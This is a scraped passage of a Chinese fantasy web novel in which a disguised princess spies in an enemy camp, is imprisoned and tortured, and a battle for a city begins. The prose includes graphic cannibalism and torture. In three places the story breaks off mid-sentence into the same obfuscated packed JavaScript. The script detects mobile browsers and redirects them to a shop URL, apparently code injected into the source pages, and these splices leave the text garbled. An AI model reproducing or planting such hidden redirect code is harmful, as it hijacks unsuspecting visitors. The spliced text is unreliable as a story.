面前这人是莺莺。 起初也只匆匆一面,如今又是相别八年,豆蔻少女抽枝发芽,成了大姑娘,倒差点让她认不出了。 但榕城人士,她听过名姓的也不过几位。 莺莺浑身抖了起来,狠狠咬着牙:“我见过那柳小姐,根本与你不同!” “你又是何处见得我?我柳家虽算不上怎样大的门户,女儿家却也并不常抛头露面,纵是外出游玩,也不过低调行事,不是哪个榕城百姓都能认得的。” “你空口白牙地诬我并非柳家小姐,可得讲点儿证据。” 她无论如何也证明不了自己是柳静,那就让莺莺自己想法子吧。 枝南回头,瞧见齐琏正坐一旁看戏。他对上枝南的目光,又朝她勾了唇。 真是会给她找事儿做。 莺莺垂了头,绞着手指,一时沉默。 “我若并非柳静,你们又何至于将我送至齐蜀发卖?” 枝南走下木椅,步步紧逼。 齐琏倒颇觉无趣,正要挥手将人带下,莺莺却猛然抬头,上前几步,抓住枝南衣袖:“我听闻,听闻柳小姐小臂上有颗黑痣——” “啪!”枝南手臂高扬,一掌挥下,硬生生在莺莺脸上印出五个红彤彤的指印,“闺中女子,身体发肤之事,岂会外传?” “柳小姐何等爱惜羽翼,遭山匪劫掳,坠崖明志,如今又怎会甘心沦落青楼?何不效仿那烈女,一头撞死,全了这声名!” 她捂着脸,神色狠戾:“柳家小姐臂上并无黑痣,你如此推三阻四,怕是做贼心虚!” 倒是聪明几分了,齐琏挑了挑眉,又坐了回去。 “我何时又认了这黑痣?昔日我尚未出阁,若坊间真有了这黑痣之说,爹爹怎会任由这等流言肆虐?我好不容易从那死人堆的地方里爬出来,你们爷孙俩丝毫不顾我爹忠义恩情,拐我,卖我,如今又来这番害我,辱我轻贱——” “我不过是想要活下去,你们怎地就这般苛刻?” 枝南行至她身侧,阳光鎏金焕彩,从窗边倾泻,印出她眉目间的疏离之色,一道穿堂风吹过,掀起火红的裙袂,飞舞,纷扬,飘落,又归于寂无。 “那年你爷爷要卖我,你是知道的吧?”枝南捏起她的下巴,硬邦邦的,突出一圈,仅是一层皮包着。 莺莺抬起头,突然笑了,眼角晕开一圈淡淡的褶皱,真如同田间稻花,洁白,微小,又遭虫蚜蚀咬,痕迹斑斑,美好转瞬即逝。 她不知从何处掏出一把微微生锈的菜刀,用力抵住枝南的脖颈,抓着她,往后退了好几步:“我该说的都说了,你们答应了的,给我钱!” “可你没说清楚她到底是不是柳静呀,”齐琏饶有兴致地盯着她,“没说清楚,我怎么给呢?” 一个骨瘦如柴、手无缚鸡之力、还提着把生锈菜刀的人,是伤不了枝南的,他们都知道,齐琏如今只把她当猴看,消遣。 “她不是!我说过了,她不是!”莺莺的声音有些失控,歇斯底里,持着刀的手不住发抖,却还是捏得死死的。 “先把刀放下。”枝南默默盯着颈下那只手,声音沉稳有力。 “我不!我已经没有吃的了!旱涝连连,那狗皇帝粮食全给了军队,根本不管我们!我已经杀了我的弟弟了,砍了他的腿,他的手,剁碎他的躯干,从骨头上刮下肉,装作猪肉,卖了换米……哈哈哈,我还能怎么办……”那女子呜咽着,声情悲恸,转眼又苦笑着,眼神却满是狠戾。 “你也别怪我,那天原本是要卖我的……可爷爷再也没回来……” “我就有错吗?”叶之南一把劈下她手中的菜刀,紧紧抓着她的肩膀,莺莺只觉得骨头都疼得作响,“你们可以不给我吃的,不给我水,就把我丢那儿,我自己会去找其他出路,而不是骗着我,把我卖到窑子里!” “你是知县家的小姐,吃着朝廷的俸禄,这一切,你们不该负责吗?” “这又都是我的错吗?我全家为了朝廷发的粮饷已经灭了满门,你还要我怎么样?倘若当初换一个女子,一个平凡人家的女子,就不是这样了吗?”枝南泄了力,瘫坐在地上。 一切都是她对不起他们,都是他们南知皇室的错,父皇没有发觉叔叔谋反的意图,没有发现西边那根本不同寻常的匪患,是他们没有守好这片疆土,没有护好一方百姓。 易人而食……八年了,西北府仍是食不果腹,临武帝忙着铲除异己,围剿叶之淮,根本顾不上其他。 好像她也有这样一份责任,一份使百姓吃穿不愁、温饱有余的责任。 可她也不是那么不在乎过去所经受的一切。 郊外的地牢,暗无天日的昼夜,姑娘们的互相残杀,被拖离的具具血尸…… 毒蛊钻心蚀骨的疼痛,皮开肉绽的累累伤痕,一次次被折断又长回的手腕…… 之前所有的风轻云淡都只不过是痛苦之上掩着的尘埃,时间长了,蒙蒙一片,自以为一切痛感都消失了。 可如今痛回来了,恨呢?她又能恨谁呢? 众生皆苦。 “哐啷!” 那把生锈的菜刀砰然坠地,枝南手腕无力地垂下,苦笑着看着她。 莺莺心如死灰,直直躺在地上,望着天花板,只觉得头晕目眩。 “带她下去吧,吃点东西。”齐琏招手唤人,他倒是看出来了,这人根本不认识什么柳静,纯粹想来骗吃骗喝,也不知秦斯尘怎么找的人。 他起身走至枝南身边试图将人扶起,她却纹丝不动。 “怎么,和我闹起脾气了?” “你倒是心善。”枝南呆滞着转过头,扯出了个无力的笑。 齐琏看着她,一双凤眸已失去往日神采,空洞地盯着虚空,蓦地用力闭上了眼。 一滴清泪滑落。 “我也曾吃不饱,去偷,去抢,什么事儿都做过。” 不知为何,齐琏突然将心中所想说了出来。言毕,他闭上嘴,只字不提。 枝南缓了缓,神情仍是枯槁一片。 “你恨她,”齐琏突然开口,“要杀了她吗?” “算了。 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那指尖微微颤了颤,一顿,又转而薅上他的下巴。 谢泽全然不知发生了什么,却能略微感知到她低落的情绪,只默默蜷进她怀中,任她撸着毛。 良久,枝南用力闭眼,再睁开时,眸中已然清明。 “你怎么来了?” “助你一臂之力。”谢泽化为人身,眼神轻轻勾着她。 “怎么?”枝南狐疑,她如今还尚未知晓陈禹盛那边的身份及意图,又如何信得过他。 “怎么这种眼神瞧我?莫非本公子能使的力还不够大?”他斜歪着身子,不知从哪又掏出一把折扇,四月的天气,倒扇得冷风习习。 枝南倒被他这装风流公子的模样给逗笑了,她一把夺过折扇,挑起他的下巴,戏谑道:“你?究竟哪家公子?说来听听?” “枫禾澧城,谢氏。” 本是玩笑之词,枝南却心下一愣,澧城谢氏? “可是我想的那位?” 澧城谢氏谢司才,寒门贵子,数年前一举高中,官袍加身,奈何门第不高,也不受当时皇帝重用,只做了区区一小皇子的少傅。 谁料几经沉浮,这少傅确有经世之才,教出的皇子硬生生杀出一条血路。 本是功成名就,理应大权在握、纵横朝野之时,他却隐姓埋名,驻足山色林间。 枝南神色一动:“你母亲,也是——” “诶——”谢泽夺回折扇,反客为主,“该你了。” 扇间轻轻滑过那白瓷般的细腻脖颈,一寸一寸,向上攀去,枝南竟觉那所经之处几分痒意,又轻笑了起来。 “我呀,不过那叶之淮麾下间客,又爱慕他许久,死心塌地,甘愿为他赴汤蹈火。” “怎的爱上那等人家?王侯将相,最是薄情。” “情不知所起,一往而深——况且这天下男子,谁又不薄情呢,嗯?” 13. 被囚 “嘁,”谢泽嘘声,一把收起折扇,“那我要同那叶之淮见上一面,好好谈谈,可行?” “你若是想见他,谁人能干涉得了你?” “毕竟是以合作为目的,自是得正式详谈,不知枝南小姐,可愿引荐?” “我如何信得过你?” “就凭我如今未将那齐琏唤来,捅出你这南知细作的身份。” “哼,”枝南冷笑,“捅出我来,你如何又能跑掉?” “既已是一条绳上的蚂蚱了,现在还计较什么信不信得过?” 枝南垂眸。也是,这人算得上坦诚相待,他本可直接化身狐狸溜至叶之淮身边,如今却是要光明正大一些,况且,他也不知自己身份...... 蓦然,枝南想到些什么:“那陈禹盛呢?上次你可没说清楚。” 谢泽骤然红了脸,耳根子都熟透了,那夜被她折腾半夜,到底也还忍住了些不可说的秘密。 “她......同那齐琏不过私人恩怨——” “是吗?”枝南抬眼,似笑非笑。 阳光全然泼洒这人脸颊上,映出一圈微微闪着金光的短小绒毛,配着酡红的底色,又让枝南有了想伸手去捏他的冲动。 不过她到底忍住了。 “自然,不影响咱俩便是了。” 枝南思忖片刻,从怀中掏出一枚玉佩,递给谢泽。 那玉佩青玉质地,色泽莹润,上纹雏凤,轻羽若云。 “让人呈给叶之淮,他便会见你了。” “好东西呀,”谢泽双手捧过,“皇家用物,他也舍得赏你?” 枝南轻轻瞥他一眼。 “你该走了。” “初次相见,则能不备份见面礼呢?” 谢泽一跃,化为狐形,跳至榻下。 门外有人推门而入。 “就这般行事吧,明晚亥时——” 齐琏蓦地止住了话,身后是秦斯尘,见状,也退了下去。 枝南不动声色,淡淡扫过去:“谈完了?” “谈完了。”齐琏凑上前去,轻轻枕上她的双膝。 赵岚云轻轻退了出去,室内一片沉默。 “今日是我不好,惹得你不痛快,”良久,齐琏才开口,“你想要些什么,我给你。” “这我哪儿敢呀!”枝南也不瞧他,扭过头去,“我这死生大权都握在皇上手中,又岂敢同您怄气?” 齐琏抬手去抚她的青丝,又被她一把甩开。枝南起身,兀自上了榻。 身后之人无了声息。 谢泽抖抖身上的灰尘,跳至榻上,钻进枝南的褥子里,探出两只毛茸茸的耳朵尖。 “明晚亥时?”他轻轻拱拱枝南,软毛蹭得人痒痒的。 “诈我呢,”枝南揉揉他的脑袋,“这几日正防着我,哪会那么轻易将话送至我这。” 明晚亥时……话说得这般明显,又偏偏假意藏了藏…… 若他们真认定她会传这假消息,那么又会在何时进攻呢? 偷袭……清晨——亦或黄昏? “吱呀——” 枝南按住谢泽的脑袋,一骨碌塞进褥子,闭眼假寐。 “解药,”齐琏走进,将药瓶放至她枕边,“十二颗。” 真是好伎俩,甩个巴掌给颗甜枣。不过……倒也是意外之喜了。 十二颗,一年…… 她早晚都得离开这儿,一年时间也撑不了多久,这毒非解不可。 齐琏见她仍是假寐,只觉自讨没趣,退了出去。 “将人跟好了,人若是丢了,提头来见!” 门外几个侍卫点头称是,齐琏匆匆离开。 薄暮西下,斜阳垂垂。 “这毒,你能解吗?”枝南忽地想起那夜谢泽给的药丸,一把将狐狸揪了出来。 “解药借我看看。” 枝南拔开瓶盖,将药丸凑他面前。 “味道不大对。”他圆溜溜的身子一推药瓶,药丸直接滚落到床上。 “掺了点儿东西,”他鼻尖耸动,一颗一颗地嗅了过去,慢慢将药丸拨开,“这几颗应不是解药,滥竽充数罢了。” 枝南定睛一看,原本十二颗药丸,如今剩下的也只有了六颗。 半年...... 他为了囚住她,也真是费尽心思。 “你那体内为蛊毒,服药不过为缓解之意,倘若真想根除,还得将蛊虫引出来才是。” “可有法子?” 谢泽默了半晌,仍是摇头。 法子倒是有,不过解蛊之人得先将蛊虫引至自身身上,趁其在肤表之时一举杀死。 只是……上次一番探查,她体内蛊虫早已代代繁衍,生生不息,数目如此庞大,究竟过于凶险。 一不小心,便不知哪只蛊虫会钻进他身体里。 枝南瞧了他,片刻,问道:“那赵岚云的身子,是你养好的?” “她那不过长期浸于药中,堵塞妖脉,如今困于营中,久不服药,又稍佐之加以调养,身子也能恢复一二,不过你这,毕竟是毒——” “罢了,”枝南摇头,又向身后看去,窗纸外人影绰绰,“知你为难,也就罢了。” 她心中实有疑窦。 谢泽不动声色地避开她的目光。 二人对峙许久,终是谢泽先败下阵来,他将真解药一颗一颗全推进瓶中,肉嘟嘟的小爪一耸一耸:“解药给我一颗,我瞧瞧能不能研制出相似的。” 枝南颔首。 “见面礼,现今可是有了?” “嗯?”谢泽迷惑一瞬,又迅速反应过来,“行,既如此,我便先去了,你多保重。” 他叼起药丸,顶开窗户,一溜烟跑了个没尾儿。 齐琏既传给她们这假消息,他们索性就将这假消息传出去。 他意欲借此扰乱叶之淮,那么偷袭时刻,必然不会紧接着这一刻。 毕竟已然整军待发的队伍,谁也不想招惹。 若这消息不是真真只为炸个细作,特意放出来的,那便是假意迷惑,意图敌军松懈。 进攻时分——只能在明晚亥时前。 她翻起身来,轻轻开了条门缝,为了炸她,门外守卫果然看似松懈了几分。 她一把推开大门,也不顾身后几人震惊的目光,脚尖直直一点,借着屋檐走势,飞身上了屋脊。 薄暮瞑瞑,云霞漫漫,雁群北归。 空中划出一道绵绵弧线。 这儿太远,瞧不见跑马场上的情形。 齐琏那支军准备得如何了呢? 银月皎皎,薄雾笼烟。 已近三更。 谢泽刚至菀城,托了几日前方才见过的郭子义,将玉佩递了上去。 “草民求见阳德王。” 郭子义遣人将物件送了去。 眼前这少年不过十八九的样子,眉目如画,潇洒风流。 此刻坐在椅子上,也不是平常公子家那般规规矩矩,身子微微放松,靠在椅背上。 他也看得出此人也并非故意无礼,而是平日里不受约束,浪荡惯了。 想起这人一月前,骤然出现在他府上,倒让人吓了一大跳。 府上追兵围堵,此人却也不慌,淡定从容,只道是个传信的,有要事相禀。 此番前来,虽不知为何事,但想必公主那边又有消息了。 阳德王应是很高兴的。 两人几杯茶水下肚,随意闲谈几句,下人便匆匆回了来。 “阳德王有请。” 阳德王府,书房内。 “上次匆忙,尚未亲自谢过公子。” 叶之淮轻轻抿了口茶水,细细端详眼前人。 一月前皇姐来信,特用密语,嘱咐传信之人并非完全可信,但几日前所传之语竟直言书写,如今更是让这男子携了母后留下的青玉凤鸾玉佩,可见也是信任颇深了。 此人气质不凡,又是何等身份,却也并不明了。 “王爷客气了,小事罢了,枝南同我也并不拘泥于此。” 之南?叶之淮皱眉,这人怎的将他皇姐叫得这样亲密? 皇姐同他连道谢的礼都省了? “咳咳,不知谢公子此番前来,所谓何事?” “此番却是不受枝南所托,不过见殿下南北受困,也愿援手助之。” 叶之淮挑眉:“如何说得?” “谢某此次,是代枫禾国而来,自临武帝篡位,我国东境饱受贵国匪患所扰,每每交涉,却总不得解决之法,劳兵伤民,可谓一大祸灾。此次愿助殿下一臂之力,望事成之后,当剿清匪患,替那临武老贼赔偿我国兵民损失。” 此事叶之淮也略有耳闻。那临武帝在西边养了一群匪头子,劫他国粮草不说,每每装模作样送去赈灾的款项,又被他这番作为,送回自己手中,供养军队。西边几个城这两年来旱几月涝几月,每年收成寥寥无几,根本够不上吃。 剿匪之事,他自是乐意而为,可赔款……这临武老贼行的事,他却要来收拾烂摊子!若说如今国库充盈倒也还好办,只是…… “不知贵国要如何清算这赔偿?” “每年这个数——”谢泽伸出一个指头,在他面前晃了晃。 “八年,可是共八百万两,贵国还真是狮子大开口呀。” 叶之淮皱眉,他真不信那老贼这么能抢,南知西部受灾,那枫禾虽地势平广,但近年天灾频频,那东境又能好到什么地步呢? “恐怕贵国想的不是雪中送炭,而是趁火打劫吧!” 谢泽收回手指,他本也没想叶之淮会同意,他们皇上开口这个数,属实是过了些。 就算八年日积月累,至多也就抢了二百万,他怕是把两国边境的军费全给算了进去。 “殿下莫急,一切还得慢慢商议。” 所幸皇上还给了他议价的空间。 “枫禾路远,实然也助不上多大的力。” “殿下此言差矣,枫禾离东北府虽远,不能在战场直接相助,可却是毗邻临武帝的盟友,到底能为殿下拖一些兵力。” 围魏救赵?叶之淮扫了他一眼:“如此看来,枫禾不费什么力气,便能净赚这笔钱财了。” 谢泽微笑。他们本来也就是这个算盘。齐琏带走了槿城大部分兵力,仅留了赵家,恐怕槿城这边境驻守的,还不足一万人。 拿下槿城,待齐琏反应过来,调兵回击之时,又悄无声息地撤退。 只要他们传出去的数目足够多,真让齐蜀这边以为他们趁火打劫,不怕他不带兵前来。 对于枫禾而言,还能顺带报了二十年前的那仇,将齐蜀也当个猴一遭。 “倒也并非讹上殿下,只是我国调兵行军,粮草,盔甲,哪怕只是做做样子,如何又不是一笔支出?” 叶之淮如今孤立无援,能得枫禾助力,自是再好不过。只是,国库财政如今恐已为负……又背上这笔债,南知得几年才翻得了身。 “三百万,如何?” 谢泽摇头,伸手取回叶之淮手边的玉佩:“此物到底并非谢某所有,还得物归原主。” “开个底价?凭着谢公子同……姐姐的交情,想必也不愿太为难我本王” “我同枝南的交情,与你何干?”谢泽心底冒火,姐~姐~,利用女子深情的薄情寡义之人,叫得这般亲密作甚? 之南之南!他都得叫声姐姐,这人怎这般不知礼数。 “四百万。” 叶之淮到底压下了不满。 “五百万,咱俩成交,仗着枝南的情谊,回头谢某便和皇上美言几句。” “成交,”叶之淮将杯中茶一口吃完,“不知谢公子今日作何安排,可愿留于王府休息一夜?” “也好,不过殿下可休息不了了,齐蜀那边正诈枝南,说是明晚亥时——不,今晚亥时,怕是有动作。” “什么?姐姐人在齐蜀军营?”叶之淮此刻也顾不上什么称呼,猛地站起身来。 “嗯?”谢泽挑眉,“不是你派她去的?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可这齐蜀究竟攻还是不攻,又是什么时候进攻?若没消息,便也是平常心态,巡防替换,只如今有了消息,便总担心一松懈,就来人偷袭。 这也是他们的高明之处。 周玉阳稳下心态,向身边人传令:“让将士们同平日那般便好,该休息的休息,不过也要警惕些,提防被敌人钻了空子。” 她立于城墙之上,眺望远方,青天,苍日。而梧城,仍是毫无动静。 她望了许久,正准备离开之时,视野之内忽然现出一只信鸽,朝城外飞去。周玉阳拈弓搭箭,瞄准那扑腾着的幼小生物。 “唰!”指尖一放,弓弦回弹,箭矢猛地窜向高空,刺中信鸽的翅膀。 白鸽犹如雪团,重重砸了下来。 有人开了城门,将信鸽拾了回来。 周玉阳取下鸽脚上的信纸,展开一览。 “榆城将士已退。” 周玉阳霎时冷汗冒出,迅速回身,将士们齐整地迈着步子朝营地走去。 刚发号不久的命令,谁人这般快便得知了?若说是军中混入了细作……可这人都是从东北府带来的,不少还是宋将军的亲兵,就刚刚这一会儿,谁又能在众目睽睽之下弄来笔墨,寻来信鸽,朝外送消息呢? 况且她就站这城楼之上,何人胆量如此之大? 除非……是根本不知她就在这儿守着。 此人怕是混于百姓之中。 官员小吏都已被关押起来,能如此迅速地查看到城门处情形的,要么是潜身于附近,要么本就住在这附近。 前者可能性不大,两日来此处皆是军队驻守,若有闲杂人等,早就被轰了出去。 她下了城楼,细细观察这附近几所房屋。 “这儿还有人住吗?” “回将军,皆已征用,做了供弟兄们临时歇脚的处所了。” 周玉阳点头,如此看来,怕是里面不太干净。 “铮!”城门外骤然传来动静,似是有箭支射于其上。 “报!城外一人朝射箭,后掉头策马离开,疑是梧城方向。” “只一人?” “是。” “将箭支取进来,小心淬毒。” 上面果真系着一张纸条。 “贵国细作已被拿下,今夜戌时,还望周将军,梧城相见。” 啪嗒。 水珠顺着墙缝流下,直直砸在女子脸颊上。 枝南猛地睁开双眼。 地下光线昏暗,只荧荧几只烛火闪着幽光,恍惚间,倒又让她有了那五年困于地下的感觉。 墙壁略有些潮湿,空气沉闷,浮散着灰尘的闷味,朦朦胧胧地笼罩着整片牢狱。 枝南双手皆被锁在墙上,丝毫动弹不得,身下倒是干净整洁的褥子,四周毫无人气。 她略有些茫然,却很快意识到此刻的处境。 昨夜齐琏点的,根本不是安神香。 她暴露了吗? 不可能。得到消息后,她什么也没做。谢泽……妖怪之说,齐琏最是忌讳,根本不会暴露。 难道是……叶之淮那边出了问题? 她心下疑惑,昨夜里齐琏丝毫没有动兵的意思,难道只是为了等如今这刻? 将她锁起来又有何益处,若真察觉她是细作,一刀杀了便足以了之。 莫不是得知她的身份,意欲以此要挟? 她心下细细思量,自己从未有画像流传于世,出宫八年,时间久远,倘若真有旧人,也不一定能认得出来。 空旷之中,脚步声自远处响起。枝南抬眸,正正对上秦斯尘。 “你说你效忠的周将军,会来救你吗?” 14. 还请大家先不要看啊啊啊啊啊!9…… “周将军?噢——可是那位,攻占了榆城的周玉阳将军?” “只是不知,那周将军,又同我何干?” 秦斯尘侧靠墙边:“倒也不必分辨,待周玉阳来了,你自有的是话说。” 枝南闭眼假寐。 他们是如何察觉到她的?想来谢泽那狐狸,是万万不可能的,那……便只剩了一个人。 赵岚云! 可赵岚云恢复蛇身后,也曾助她一次,若真是她,谢泽这狐狸身份也逃不掉。 莫非这群人拿她去严刑逼供,探出了口风? 但她为南知前朝公主一事,这营中是绝无人可知的。他们视她为细作,以她为饵,莫非真觉着一个小小细作,值得那大名鼎鼎的周玉阳来相救? 莫非仍是在诈她? 门前人还未走,死死盯着牢狱中人,记录着她的一举一动。 “秦斯尘,不累吗?” 枝南睁眼,笑着瞧他。 秦斯尘扭过头去。 “若是不信我,当初你们又何必留我?” “你是地下这么些人中,逃的次数最多的。” “那可不是,”枝南本欲走上前去,却被锁链限住了步伐,“真正逃得多的,可没看到太阳。” “不如杀了我吧。” 枝南叹气,绞上发丝:“你们一边用我,一边疑我,来来回回地折腾我,倒真不如给个痛快。” 秦斯尘仍然不语。 “待会儿是谁扮成周玉阳的模样来诈我呀?” “会是你吗?” “也未曾听闻你还会换脸术呀?” “诶,你可是那秦家子?嗯?秦将军?” “不是。” 他终于回了话。 “可我听闻这派的就是秦家人呀。” “不过前尘事,我早已离了秦家。” “那作甚还姓秦?不如改个姓?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617541|140931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦斯尘又沉默了。 “唉,可是想离了那火坑又离不了,还得顶着个令人恶心的姓氏,对外仍是那秦家子。” 枝南撑着脑袋,轻声唤他。 “秦——绍周?” “闭嘴。” 果真是那九年前犯了事儿的秦家子。 “好好好,斯尘斯尘,斯人归尘土,散去不复还。” 眼前人沉默。 “你为何总是背对,不看我?” “你会媚术。” “媚术只对于我有色欲之人方可作用,斯尘,莫非——” 他骤然转过身来,抱着长剑。 光风霁月。 尘埃泥垢。 枝南一双凤眸直勾勾盯着他,意欲从那双眸子中勾出魂魄来。 “唉,真令人失望,还当真以为你对我有点意思呢。” 她漫不经心地瞧着他:“看来,你还是更喜欢薛家那位姑娘。” 15. 人肉 “周将军,要不——您走近些瞧瞧?” 秦斯尘从周玉阳身后走出,脸上难得地挂上了一丝假笑。 周玉阳没有搭理他的话,回头冷笑,转身欲走。 刀剑出鞘,寒光闪现,身后一群士兵纷纷拦住了去路。 “秦将军,这是何意?” 周玉阳眼波一转,嗔怒之色溢于言表。 借着火光,枝南将这一幕收入眼中。 她眼神一滞,随即迅速垂下眸。 “莫急。” 秦斯尘招招手,几个士兵迅速提起枝南,将她绑上木桩。 有人抬上一盆炭火,红彤彤的火苗闪烁着,跳跃着,又溅出星星点点的火花,洒向空中,又骤然湮灭。 枝南瞧见,顿感恶心,下意识干呕出来。 “将军赶路过来,怕是还未用膳吧。” 阶梯之上,又传来一男子的声音,周玉阳顺着长长的阶道瞧去,看见齐琏。 玄袍鹤氅,星冠银簪,他眯着一双桃花眼,笑对周玉阳,顺带瞥过牢笼中的一角红衣,但却没有亲身下来的意思。 侍从搬来一张花梨木椅,他掀起衣摆,侧身坐下。 几个丫鬟端上果盘,跪在他脚下,将其高举过头顶。 齐琏拈起颗葡萄,丢给身旁的德煜,德煜手忙脚乱地接过,细细剥好了皮,送至齐琏嘴边。 “这个姑娘,是从秦将军手底下的死路里爬出来的,对秦将军的手段何其熟悉,”齐琏嚼着葡萄,咽下去,“周将军,可愿留下来观赏一番?” 未等周玉阳答话,德煜便轻轻踹了脚一旁的丫鬟。 “还跪着做什么,也没点儿眼力见,给人家周将军搬把椅子去啊,倒显得咱齐蜀未有待客之道似的。” 小丫鬟手忙脚乱地放下果盘,搬了把木椅下来。 周玉阳面上不动声色,但心却沉了下去。 今日……怕是没那么好离开。 她不敢再看牢内的叶之南,生怕自己露了馅。 毕竟那是南知的公主,也是周将军的爱徒,若真出了什么事…… 周玉阳进退不得,只好坐下。 “尚为春日,也还略有寒气,倒是让朕想起宫中御厨做的炭烤羊肉来,不知周将军可有尝过?” 周玉阳警惕地看向了齐琏。 “将这活羊啊,拔光了毛,洗净,牵到炉子旁,一片一片地割下肉来,放到酒中浸泡,再铺上炉子里,炙烤。” “这般的滋味,才最是鲜美。” 秦斯尘跨步走入牢门,拿起长刀,在石上磨了起来。 “呲呲呲——”粗闷的声音在牢房中回响,钻入每个人的耳中,惊起一身鸡皮疙瘩。 齐琏手中转着颗葡萄,居高临下,漫不经心地盯着周玉阳。 这人此番真是孤身前来,却不知城外还藏着多少兵。 听闻东北府往榆城调了不少人。 “斯尘,第一片肉,赏给周将军尝尝吧。” 刀刃冰凉,贴上枝南的手臂,划破皮肤,薄薄地割下一片肉来,盛进精致的瓷盘中。 枝南咬着牙,硬生生忍了下来,未吭一声。 鲜血淋漓的生肉端至周玉阳面前,她皱眉,撇过脸去。 “怎么能给将军吃生肉呢?好歹烤熟了呀?” 齐琏将手中的紫葡萄扔了下来,砸中一旁看愣了的士兵。 他慌忙端起瓷盘,双手不住地发着抖,肉片在盘子上跳来跳去,溅出几滴鲜血,落在他手上。 他小跑至炭火炉子旁,拿起钳子,颤着夹起肉片,伸向猩红的炭火上。 一滴血珠坠下,浇落到炭火上,火焰猛地窜了上去,舔舐着血肉,空气中散发出一阵奇怪的焦味。 周玉阳脸色越发难看。 “你们齐蜀人真是好兴致,可南知却并无这般食人肉的风俗,”她离了椅子,在众兵的剑尖下,步步走向齐琏,“不知今夜——本将军还能不能出了梧城呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660028|140931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “周将军,并非真是单刀赴会吧。” “哪真能不做准备,便来赴您这鸿门宴呢?” “周将军都能为一个不知真假的细作深入敌营,我们又如何能料到您的行事呢?”秦斯尘抓牢剑柄,眼睛死死盯着眼前人,离其不过半丈。 周玉阳摸了摸腰侧的玉佩,士兵立马警觉起来,剑尖又向前进了一尺。 “紧张什么,”她轻笑一声,直勾勾地盯着那座上客,“虽说免不了自夸的嫌疑,但鄙人最是重情重义,何况对这种甘愿以身赴险的好儿郎!不过,您这边既没有我要的人,那本将军就——” “先行告辞了!” 电光火石之间,她拽下腰间玉佩,砸向齐琏身侧。 没有清脆的玉碎泠泠,只乍然现出一团白烟,模糊了视线。 秦斯尘早有准备,闪身追寻烟雾中的身影,那人几番闪躲,却仍是被他拿下。 “咻!”地面倏然蹦出一束火花,不知什么物件窜向天空,乍然天光大亮。 “信号弹!” 遭了! 秦斯尘擒着手中人,朝齐琏奔去,德煜公公扑在他身上,挡了烟火,所幸并无伤处。 枝南冷笑,静静看着眼前这幕,臂上的伤似乎也无了痛感。 该发觉了吗? 夜风缕缕,白烟散去,齐琏一把掐住周玉阳的脖颈,神色狰狞。 “周将军,如今,也是落到朕手上了。” 周玉阳放声大笑,面目扭曲,挑衅地瞧着齐琏。 他发觉一丝不对劲,摸上眼前人的下颌骨,使劲蹭了蹭,竟磨出一丝皮缝来。 “南知真是多能人呀,这等奇技淫巧,也能用得上!” 齐琏手背青筋暴起,死死掐进肉里,渗出绯红的血珠。他慢慢扯下覆于面上的那张“人皮”,眼前赫然出现一张截然不同的面孔,哪有半点周玉阳的影子! “齐蜀啊,今夜,你们怕是彻夜难眠了。” 16. 厮杀 水袖蹁跹,散落空中,几位将士还未看清戏台上的种种,便已中了剑,倒落地面。 “敌军入侵!敌军——” 几人反应过来,高呼出声,却又被一剑利落地封了喉。 周玉阳浓妆粉面,微微眯了眼,盯着不远处的高大巍峨的城门。 来不及多思考,一切都按原计划进行。一群“戏子伶人”,持刀握剑,径直杀向城门。 仿若戏本上那威武勇猛的兵将,跃然出现。 她轻轻摩挲手中宝剑,剑柄上镌着青竹,身姿挺拔,君子之风。 寒光一现,月色抹上微霜,紧接着,又沾了红雨。 守城将的头颅落地。 他们迅速解决几人,身后却突然响起动静。 “杀!” 几列士兵从身后围来,将他们这七八人逼至角落,猛地扑上来厮杀。 “开城门!” 周玉阳怒吼一声,一把将剑扔给身后人,从腰间抽出长鞭,朝前一甩。 力道强劲,烟尘四起,身前兵略退了半步。又趁她提鞭,冲了上来。 刀光剑影全舞了上来,周玉阳仰身躲过,鞭子从地面挥过,绊倒了一簇人,七零八落,歪了一地。 不知对面谁人踩住了鞭,周玉阳一拉,竟是纹丝不动。 “开了开了!” 周玉阳侧眼一瞟,已是开了内门。她拉直鞭子,劈剑砍断,突然耳边又是轰隆声。 “落闸门了!” 内外门间的千钧闸落下,霎时封了退路。 她抬眼瞧城楼上望去,原本被派去开闸门的兵将,已是横尸倒地。 “轰——轰——轰——” 城外的兵士开始撞墙门。 周玉阳又挥上一剑,斩断敌人一臂,鲜血溅上脸颊,红梅映雪。 叶之南又如何了呢? 她抬眸,正对上城门守将。不知何时搭起的弓,几十支羽箭,齐齐对准他们。 她挥力砍下最后一个头颅,听着它滚落到脚边,骨碌骨碌。 圆圆滚滚,像个放硬了的肉丸子 “放箭!” 守将一呼,箭矢齐发。 又是另一场烟花。 地牢。 士兵纷纷冲上去护驾,却多吸入迷烟,四肢无力,腿软倒下。 枝南冷眼瞧着这乱局,捏紧了手中的细铁丝。 那“周玉阳”靠近时,在她衣裙中藏了这玩意儿。 